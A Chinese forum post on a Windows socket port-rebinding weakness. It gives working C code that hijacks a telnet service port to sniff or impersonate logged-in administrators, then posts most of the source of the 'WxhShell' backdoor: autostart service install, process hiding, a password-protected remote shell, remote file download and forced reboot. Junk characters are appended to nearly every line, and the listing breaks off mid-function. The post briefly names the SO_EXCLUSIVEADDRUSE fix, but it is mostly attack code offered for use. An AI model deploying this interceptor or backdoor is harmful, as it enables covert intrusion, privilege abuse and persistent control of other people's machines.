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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: +!Lz]@9K  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Egr'IbB  
<Pg<F[eDM  
  saddr.sin_family = AF_INET; Kb,#Ot  
G0&'B6I>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Zq\Vq:MX  
Q3|I.I e  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); lJ/{.uK  
h(MS>=  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 MR-cOPn  
=VOl  *  
  这意味着什么?意味着可以进行如下的攻击: c?XqSK`',Z  
}j6<S-s~  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 gi5Ffvs$  
?Y | *EH  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) C:$pAE(  
9Ls=T=96  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 kRH;c,E@  
|dI,4Z\Qb  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  #,PB(  
fw+ VR.#2H  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 X'XH-E  
k*Vf2O3${  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 "'\f?A9  
f+W8Gszi  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ruTj#tWSo  
C8bv%9  
  #include DY6ra% T  
  #include (D <o=Q  
  #include fS?fNtD6<  
  #include    tFKR~?Gc  
  DWORD WINAPI ClientThread(LPVOID lpParam);    &j_:VP  
  int main() JBxizJBP  
  { SE<hZLd"  
  WORD wVersionRequested; 8j<+ ' R  
  DWORD ret; 9o|#R&0  
  WSADATA wsaData; \B1<fF2  
  BOOL val; ?QfomTT  
  SOCKADDR_IN saddr; !|`vW{v  
  SOCKADDR_IN scaddr; +KKx\m*  
  int err; K}1eQS&$a  
  SOCKET s; M +Jcg b]  
  SOCKET sc; 9 &p;2/H  
  int caddsize; *&sXC@^@^  
  HANDLE mt; T_1p1Sg  
  DWORD tid;   gg}^@h&?  
  wVersionRequested = MAKEWORD( 2, 2 ); Z5%TpAu[  
  err = WSAStartup( wVersionRequested, &wsaData ); }$T!qMst{  
  if ( err != 0 ) { ?~#{3b  
  printf("error!WSAStartup failed!\n"); `UH 1B/  
  return -1; aq<QKn U  
  } P|{Et=R`1  
  saddr.sin_family = AF_INET; `p{,C`g,R  
   GYM6 `  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >h<bYk"9Q  
Isna KcLM  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); AiE\PMF~{P  
  saddr.sin_port = htons(23); %zA$+eT  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) KXTx{R  
  { .e8S^lSl  
  printf("error!socket failed!\n"); X*Dt<i};v  
  return -1; GtNGrJU  
  } ;V"(! 'd  
  val = TRUE; 6q]`??g.  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 KIfR4,=Q|  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) [H8QxJk  
  { n]+v Eu|  
  printf("error!setsockopt failed!\n"); p-1 \4  
  return -1; #w:6<$  
  } [d~ 25  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  T24?1  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 J4;F k  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 #m<<]L(o8W  
(!9ybH;T  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0;pOQF  
  { z`Cq,Sz/  
  ret=GetLastError(); "-;l{tL  
  printf("error!bind failed!\n"); B{+ Ra  
  return -1; 70&]nb6f  
  } ]\_T  
  listen(s,2); K9+C3"*I  
  while(1)  L4,Ke  
  { /n|`a1!  
  caddsize = sizeof(scaddr); F9&ae*>,  
  //接受连接请求 <DjFMTCN  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);  ZD'fEqM  
  if(sc!=INVALID_SOCKET) 6}E C)j;Fw  
  { \d)~.2$G*  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 1S26Y|L)  
  if(mt==NULL) SWGD(]}uz  
  { lC&B4zec  
  printf("Thread Creat Failed!\n"); /P-Eg86V'  
  break; umo@JWr  
  } %95'oW)lo  
  } U'tfsf/V  
  CloseHandle(mt); ;Pi-H,1b  
  } Sn lKPd  
  closesocket(s); &R "Q  
  WSACleanup(); "x)xjL  
  return 0; F]SA1ry  
  }   $SmmrM  
  DWORD WINAPI ClientThread(LPVOID lpParam) {,aI0bw;  
  { 7>`VZ?  
  SOCKET ss = (SOCKET)lpParam; *NDM{WB|)  
  SOCKET sc; $MT'ZM  
  unsigned char buf[4096]; Ka"Z,\T   
  SOCKADDR_IN saddr; xX ktMlI  
  long num; +s'qcC  
  DWORD val; iS"(  
  DWORD ret; 01nbR+e  
  //如果是隐藏端口应用的话,可以在此处加一些判断 h^D]@H  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   - ^sbf.  
  saddr.sin_family = AF_INET; 9(/ ;Wutj"  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); M9/c8zZ  
  saddr.sin_port = htons(23); YIQm;E EG  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8,,$C7"EP  
  { :2KLziO2  
  printf("error!socket failed!\n"); >_4Ck{^d#  
  return -1; ?T(>!m  
  } u0@i3Po  
  val = 100; ZE*m;  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) PmGW\E[ni  
  { hF!t{ Lf3  
  ret = GetLastError(); !P&F6ViO=  
  return -1; U Ux]  
  } 2h6<'2'o1  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) <?UIux  
  { O,kzU,zOs  
  ret = GetLastError(); ho7L@NR  
  return -1; {i7Wp$ug  
  } hK,e<?N^  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) m"<Sb,"x!  
  { ORV~F0d<  
  printf("error!socket connect failed!\n"); SJtQK-%wK>  
  closesocket(sc); |@x^5Ab$T  
  closesocket(ss); ;: a>#{N  
  return -1; @k!J}O K  
  } oT4A|M  
  while(1) fq.ui3lP)  
  { ]i-peBxw  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 `;ofQz4  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p. eq N  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 GN4'LU  
  num = recv(ss,buf,4096,0); 3f2%+2Zjt,  
  if(num>0) A?V[/  
  send(sc,buf,num,0); #-_';Er\  
  else if(num==0) U9[ &ci  
  break; ' {L5 3cH=  
  num = recv(sc,buf,4096,0); cu4&*{  
  if(num>0) MqBA?7  
  send(ss,buf,num,0); E*ug.nxy  
  else if(num==0) K 9ytot  
  break; 'E{n1[b  
  } nVF?.c  
  closesocket(ss); Dk!;s8}*c  
  closesocket(sc); +mQMzZZTZ  
  return 0 ; 9y(75Bn9  
  } pcd*K)  
:esHtkyML  
d;3/Vr$t=  
========================================================== 6q[|U_3I@  
(cX;a/BR  
下边附上一个代码,,WXhSHELL B&~#.<23:  
 R\%&Q|  
========================================================== &@O]'  
[X'XxYbZ  
#include "stdafx.h" /Q4TQ\:  
[*<F   
#include <stdio.h> d%:B,bck  
#include <string.h> #,0PLU3%  
#include <windows.h> YRXXutm  
#include <winsock2.h> +*2]R~"M  
#include <winsvc.h> $niJw@zC  
#include <urlmon.h> 42a.@JbLQ  
Wj"\nT4  
#pragma comment (lib, "Ws2_32.lib") ]Q Y:t:-  
#pragma comment (lib, "urlmon.lib") IJxBPwh  
nyyKA_#:5  
#define MAX_USER   100 // 最大客户端连接数 ~C1lbn b  
#define BUF_SOCK   200 // sock buffer i`3h\ku  
#define KEY_BUFF   255 // 输入 buffer `ZCeuOH  
UQ;ymTqdc  
#define REBOOT     0   // 重启 ,m| :U  
#define SHUTDOWN   1   // 关机 zo,`Vibx<  
9qUc{ydt  
#define DEF_PORT   5000 // 监听端口 ,f@$a3}'Lx  
"HCJ!  
#define REG_LEN     16   // 注册表键长度 @6eM{3E.  
#define SVC_LEN     80   // NT服务名长度 nRYHp7`  
v71j1Q}6  
// 从dll定义API "P) f,n  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Mu,}?%  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !_Z\K$Ns  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); l<5@a (  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `0 .<  
Y}<w)b1e|  
// wxhshell配置信息 uhi(Gny.  
struct WSCFG { J*Dt\[X  
  int ws_port;         // 监听端口 c418TjO;  
  char ws_passstr[REG_LEN]; // 口令 J1@X6U!{  
  int ws_autoins;       // 安装标记, 1=yes 0=no .TcsXYL.`,  
  char ws_regname[REG_LEN]; // 注册表键名 ~=$0=)c  
  char ws_svcname[REG_LEN]; // 服务名 J9!}8uD  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 j_::#?o!/  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 C` s  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ; B4x>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ldd|"[Ds  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ]ZV.@% +  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 v6Vieo=  
0E*q-$P  
}; a$0,T_wD  
zX{O"w  
// default Wxhshell configuration SG:Fn8  
struct WSCFG wscfg={DEF_PORT, KIyhvY~  
    "xuhuanlingzhe", f{ ;L"*L  
    1, ,$"*X-1  
    "Wxhshell", =Q\z*.5j.  
    "Wxhshell", xLxXc!{J5  
            "WxhShell Service", =L,s6J8_'  
    "Wrsky Windows CmdShell Service", i2. +E&3v  
    "Please Input Your Password: ", #2`ST=#  
  1, c1!0Z28  
  "http://www.wrsky.com/wxhshell.exe", }I3 ZNd   
  "Wxhshell.exe" &I8Q'  
    }; :<t%Sf  
cK( )_RB#  
// 消息定义模块 sGg=4(D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 5c(mgEvq  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Un [olp  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; s"hSn_m  
char *msg_ws_ext="\n\rExit."; W6~aL\[  
char *msg_ws_end="\n\rQuit."; m=g\@&N  
char *msg_ws_boot="\n\rReboot..."; 1(S0hm[ov  
char *msg_ws_poff="\n\rShutdown..."; N4]Sp v  
char *msg_ws_down="\n\rSave to "; ]i$ <<u  
$ z4JUr!m  
char *msg_ws_err="\n\rErr!"; I-?PTr  
char *msg_ws_ok="\n\rOK!"; 3X &'hz@  
fN)A`>iP  
char ExeFile[MAX_PATH]; OV@MT^  
int nUser = 0; DrAp&A|WV|  
HANDLE handles[MAX_USER]; S&yKi  
int OsIsNt; .b.p yVk  
`^:>sU  
SERVICE_STATUS       serviceStatus; /wt!c?wR  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; vy:-a G  
GSHJ?}U,  
// 函数声明 &@g~o0  
int Install(void); 79m',9{u  
int Uninstall(void); ;Jh=7wx  
int DownloadFile(char *sURL, SOCKET wsh); ;rp("<g:>  
int Boot(int flag); Z2Q'9C},m  
void HideProc(void); Alo;kt@x  
int GetOsVer(void); q mJ#cmN  
int Wxhshell(SOCKET wsl);  c@eQSy  
void TalkWithClient(void *cs); j ^Tb=  
int CmdShell(SOCKET sock); @u@ N&{b5"  
int StartFromService(void); \`ya08DP(  
int StartWxhshell(LPSTR lpCmdLine); l(irNKutgo  
o|Q:am'H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T ^ z  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); B^7B-RBi0  
XZh1/b^DMN  
// 数据结构和表定义 w^{qut.  
SERVICE_TABLE_ENTRY DispatchTable[] = h>w(Th\H  
{ fT]hpoJl  
{wscfg.ws_svcname, NTServiceMain}, Ch] `@(l  
{NULL, NULL} ;u:A:Y4V  
}; ~J~@mE2ks  
xE$>;30b_  
// 自我安装 xbVvK+  
int Install(void) 8fI]QW  
{ nj90`O.K  
  char svExeFile[MAX_PATH]; V(lxkEu/Fj  
  HKEY key; 3^jkd)xw  
  strcpy(svExeFile,ExeFile); [9<c;&$LU  
?* {Vn5aX{  
// 如果是win9x系统,修改注册表设为自启动 x=S8UKUx  
if(!OsIsNt) { oouhP1py,  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +69[06F  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); `G@(Z:]f,t  
  RegCloseKey(key);  1{fu  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { [Re.sX}$Y  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _nUvDdEs,  
  RegCloseKey(key); =pT}]  
  return 0; `@_j Do  
    } buj *L&  
  } K~ch OX  
} a^#\"c  
else { MH0xD  
O:% ,.??<%  
// 如果是NT以上系统,安装为系统服务 q0m> NA   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); MvCB|N"qy  
if (schSCManager!=0) xYLTz8g=  
{ [=EmDP:@  
  SC_HANDLE schService = CreateService /h]#}y j  
  ( No\3kRB4bi  
  schSCManager, qUS y0SQ/l  
  wscfg.ws_svcname, b41f7t=  
  wscfg.ws_svcdisp, IPVD^a ?  
  SERVICE_ALL_ACCESS, Kggc9^ 7  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _c z$w5`  
  SERVICE_AUTO_START, 9}*Pb6  
  SERVICE_ERROR_NORMAL, lH%%iYBM  
  svExeFile, IYG,nt !  
  NULL, o8RVmOXe  
  NULL, 7hzd.  
  NULL, 1B0+dxN`  
  NULL, %2 I >0  
  NULL j}`XF?2D  
  ); <rKfL`8p  
  if (schService!=0) .:~{+ <*`  
  { (drDC1\  
  CloseServiceHandle(schService); EGL7z`nt  
  CloseServiceHandle(schSCManager); MnPk+eNJm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); # 0* oj/  
  strcat(svExeFile,wscfg.ws_svcname); JS!`eO/8  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { -"CXBKHb  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); CMiE$yC  
  RegCloseKey(key); Tlar@lC|u  
  return 0; nOm-Yb+F  
    } {<P{uH\l  
  } b(HbwOt ~3  
  CloseServiceHandle(schSCManager); K ; e R)  
} (i.7\$4  
} /5wIbmz@I  
"\~d!"n|2  
return 1; N51e.;  
} q; ?Kmk  
}8LTYn  
// 自我卸载 Z.%0yS_T  
int Uninstall(void) P+Q}bTb8  
{ y5/LH~&Ov  
  HKEY key; Hp(wR'(g&  
NY3/mS3w  
if(!OsIsNt) { bH Nf>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >(\Z-I&YQ  
  RegDeleteValue(key,wscfg.ws_regname); lc(}[Z/|V  
  RegCloseKey(key); Gl6M(<f\5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (7 O?NS  
  RegDeleteValue(key,wscfg.ws_regname); 8-s7s!j  
  RegCloseKey(key); =M."^X  
  return 0; DX(!G a  
  } kQ99{l H,5  
} OnND(YiX  
} 2EC<8}CG  
else { B1k;!@@1 4  
T(z/Jm3  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ..fbRt  
if (schSCManager!=0) `L m9!?  
{ %0_}usrsk  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); #JYH5:*  
  if (schService!=0) ?m\? #  
  { K 9tr Iy$v  
  if(DeleteService(schService)!=0) { VUUE2k;^  
  CloseServiceHandle(schService); F T$x#>  
  CloseServiceHandle(schSCManager); 0x2[*pJ|IW  
  return 0; <i ";5+  
  } 7?p>v34A  
  CloseServiceHandle(schService); Vv_lBYV  
  }  V$fn$=  
  CloseServiceHandle(schSCManager); l_i&8*=Px  
} J,D^fVIw  
} oC~+K@S  
VT2f\d[Q  
return 1; mIW/x/I  
} Xk9 8%gv  
'pHxO,vo  
// 从指定url下载文件 y4N2gBTKu  
int DownloadFile(char *sURL, SOCKET wsh) il[waUfmD  
{ `6\u!#  
  HRESULT hr; `&jG8lHa  
char seps[]= "/"; nC5]IYL|  
char *token; VLcwBdo  
char *file; ,DD}o  
char myURL[MAX_PATH]; ho%G  
char myFILE[MAX_PATH]; 4XgzNwm  
f/vsf&^O  
strcpy(myURL,sURL); .c]@xoC  
  token=strtok(myURL,seps); I\<)9`O  
  while(token!=NULL) 6^sH3=#  
  { 5I&Dk4v  
    file=token; +QA|]Y~!  
  token=strtok(NULL,seps); V$g!#V  
  } >Q2kXwN  
"V <WC"  
GetCurrentDirectory(MAX_PATH,myFILE); [{.9#cQ "  
strcat(myFILE, "\\"); #b@ sV$  
strcat(myFILE, file); PM3fJhx  
  send(wsh,myFILE,strlen(myFILE),0); ~BC~^ D&WD  
send(wsh,"...",3,0); l9z{pZ\KM  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); /kV5~i<1S  
  if(hr==S_OK) A-l[f\  
return 0; &HtG&RvQf  
else jJV1 /]TJ  
return 1; q"u,r6ED  
TGZr [  
} Ao, <G.>R  
'DD~xCXE  
// 系统电源模块 ;{1  ws  
int Boot(int flag) XB<Q A>dLh  
{ P=m l;xp  
  HANDLE hToken; 9)$gD  
  TOKEN_PRIVILEGES tkp; df{6!}/(  
vlo!D9zsV3  
  if(OsIsNt) { yL_ \&v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M;sT+Z{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); J@qwz[d i  
    tkp.PrivilegeCount = 1; Xb.# =R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; Vo%DoZg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 5P[urOvV  
if(flag==REBOOT) { dMK\ y4#i  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1IN^,A]r2h  
  return 0; >AW&Lfw$  
} z{nd4qOsD  
else { 7!JBF{,=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Pv\-D<&@m  
  return 0; oO9yI^  
} gp-rTdN  
  } }1|FES  
  else { W#foVAi .  
if(flag==REBOOT) { QPX3a8w*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) i2Sh^\Xw  
  return 0; m0N{%Mf-  
} a"8H(HAlNn  
else { *0z'!m12  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Mo]  
  return 0; d5'4RYfkQ  
} !=?Q>mz  
} }tbZ[:T{K  
|u.3Tp|3W  
return 1; QG 1vP.K  
} g2 tM!IRQ  
;FnS=Z  
// win9x进程隐藏模块 r#w.y g4EX  
void HideProc(void) 0}q*s!  
{ *l)}o4-$  
GriFb]ml"  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); %JuT'7VB  
  if ( hKernel != NULL ) W];l[D<S*  
  { ivvm.7{  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); lL*"N|Y  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); v\R-G  
    FreeLibrary(hKernel); f`-UC_(;  
  } |3Bms d/3  
ZdlQ}l#F  
return; C;m*0#9D  
} ]~9YRVeC  
S5e"}.]|  
// 获取操作系统版本 |H;+9(  
int GetOsVer(void) s,~g| I\  
{ h"dn:5G:=  
  OSVERSIONINFO winfo; N a<);Pg  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Hu"TEhW(2  
  GetVersionEx(&winfo); I[P_j`aE  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) $ZRvvm!f  
  return 1; V L;<+C~  
  else gb/<(I )  
  return 0; _*n 4W^8  
} k; ned  
}r|$\ms  
// 客户端句柄模块 `vD.5  
int Wxhshell(SOCKET wsl) a7"Aq:IjU  
{ bf6:J `5Z  
  SOCKET wsh; BO'7c1FU  
  struct sockaddr_in client; 2{4f>,][  
  DWORD myID; 3zzl|+# 6  
Ag} P  
  while(nUser<MAX_USER) S&NWZ:E3[  
{ newURb,-!  
  int nSize=sizeof(client); @cn8m  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); u6i X&%e  
  if(wsh==INVALID_SOCKET) return 1; G.>Ul)O:a  
98lz2d/Fcq  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); "f>`ZFp^  
if(handles[nUser]==0) N ZZc[P  
  closesocket(wsh); !mK}Rim~  
else y0,>_MS  
  nUser++; MbXtmQ%C8  
  } `( _N9.>B  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); B:(a?X-7  
z,(.` %h  
  return 0; n"f: 6|<  
} j>#ywh*A  
9S8V`aC  
// 关闭 socket TnJNs  
void CloseIt(SOCKET wsh) C;']FmK]  
{ VTK +aI  
closesocket(wsh); /#!1  
nUser--; -GYJ)f  
ExitThread(0); i)7B :uA  
} #dkSAS  
m=V69 a#  
// 客户端请求句柄 hSG1f`  
void TalkWithClient(void *cs) |};-.}u^`h  
{ 6)_h'v<|M  
NB3ar&.$S  
  SOCKET wsh=(SOCKET)cs; W('V2Z-q  
  char pwd[SVC_LEN]; #^xj"}o@  
  char cmd[KEY_BUFF]; ~$m:j];  
char chr[1]; l{hO"fzy  
int i,j; ISg-?h/  
'L C0hoV  
  while (nUser < MAX_USER) { ?%Gzd(YEY  
uIR/^o  
if(wscfg.ws_passstr) { \  `|  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 6`Diz_(  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QUWx\hqE  
  //ZeroMemory(pwd,KEY_BUFF); ;!)gjiapw  
      i=0; G|qsJ  
  while(i<SVC_LEN) { BB.120v&N  
drS>~lSxB  
  // 设置超时 'k/:3?R  
  fd_set FdRead; _eUd RL>  
  struct timeval TimeOut; |J:m{  
  FD_ZERO(&FdRead); r)oR `\7  
  FD_SET(wsh,&FdRead);  BF /4  
  TimeOut.tv_sec=8; -V=,x3Zew  
  TimeOut.tv_usec=0; r}-vOPn`E  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); smHQ'4x9  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1Sd<cOEd  
pI( H7 (  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - @tL]]  
  pwd=chr[0]; ;OSEMgB1  
  if(chr[0]==0xd || chr[0]==0xa) { +<fT\Oq#  
  pwd=0;  J9lG0  
  break; VM w[M^  
  } fwv.^k x  
  i++; Gp2C wyv  
    } NGmXF_kqN  
o':K4r;  
  // 如果是非法用户,关闭 socket IgPU^?sp  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B]:?4Ov  
} 7E;`1lh7  
vGchKN~_  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lf_q6y  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); p_CCKU  
M2LW[z  
while(1) { &0 SgEUZr  
Nh1, w  
  ZeroMemory(cmd,KEY_BUFF); *kt%.wPJ  
fr8hT(,s)  
      // 自动支持客户端 telnet标准   T*92o:^  
  j=0; ;I~ UQgE6H  
  while(j<KEY_BUFF) { &_,.*tha  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Cw h[R  
  cmd[j]=chr[0]; U9"Ij}  
  if(chr[0]==0xa || chr[0]==0xd) { SbH} cu8  
  cmd[j]=0; h`4!Qv  
  break; ;$FMOMR  
  } fkD-mRKw  
  j++; @*iT%p_L  
    } [#+klP$  
=H?^G[y  
  // 下载文件 cX|(/h,W/  
  if(strstr(cmd,"http://")) { R_b)2FU1y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ZV$!dHW/  
  if(DownloadFile(cmd,wsh)) tD> qHR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); '3 JVUHn  
  else Iy Vmz'  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lQG;WVqW  
  } 2tZ\/6G<  
  else { g&X X@I8+v  
=m U</F)  
    switch(cmd[0]) { `Wp y6o  
  Nl9}*3r  
  // 帮助 "MgTfUIiyD  
  case '?': { U|v@v@IBA  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); +5H1n(6)  
    break; "O8iO!:  
  } 9XX:_9|I  
  // 安装 '3TfW61]  
  case 'i': { IY}{1[<N  
    if(Install()) _vUId?9@+e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #-kx$(''V  
    else @[~j|YH}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >[4CQK`U  
    break; nk2H^RM^  
    } RU\MT'E>(  
  // 卸载 e%^PVi  
  case 'r': { s(y=u>  
    if(Uninstall()) ogG:Ai)90  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LNM#\fb  
    else }a!c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6{H@VF<QY!  
    break; F,@uYMQs  
    } \hZye20  
  // 显示 wxhshell 所在路径 d%#5roR4<  
  case 'p': { `]5t'Ps  
    char svExeFile[MAX_PATH]; +lw1v  
    strcpy(svExeFile,"\n\r"); gFr-P!3  
      strcat(svExeFile,ExeFile); )u.%ycfeV  
        send(wsh,svExeFile,strlen(svExeFile),0); UGQH wz  
    break; {r_x\VC=p  
    } `$ZBIe/u  
  // 重启 I04c7cDp  
  case 'b': { Og2G0sWRf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); sH :_sOV*  
    if(Boot(REBOOT)) d ZxrIWx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fDKV`  
    else { Qp~3DUM  
    closesocket(wsh); "/{H=X3was  
    ExitThread(0); . r \g]  
    } +%)bd  
    break; _dwJ;j`2  
    } b@9d@@/wx  
  // 关机 O{wt0 \P  
  case 'd': { Pk )H(,  
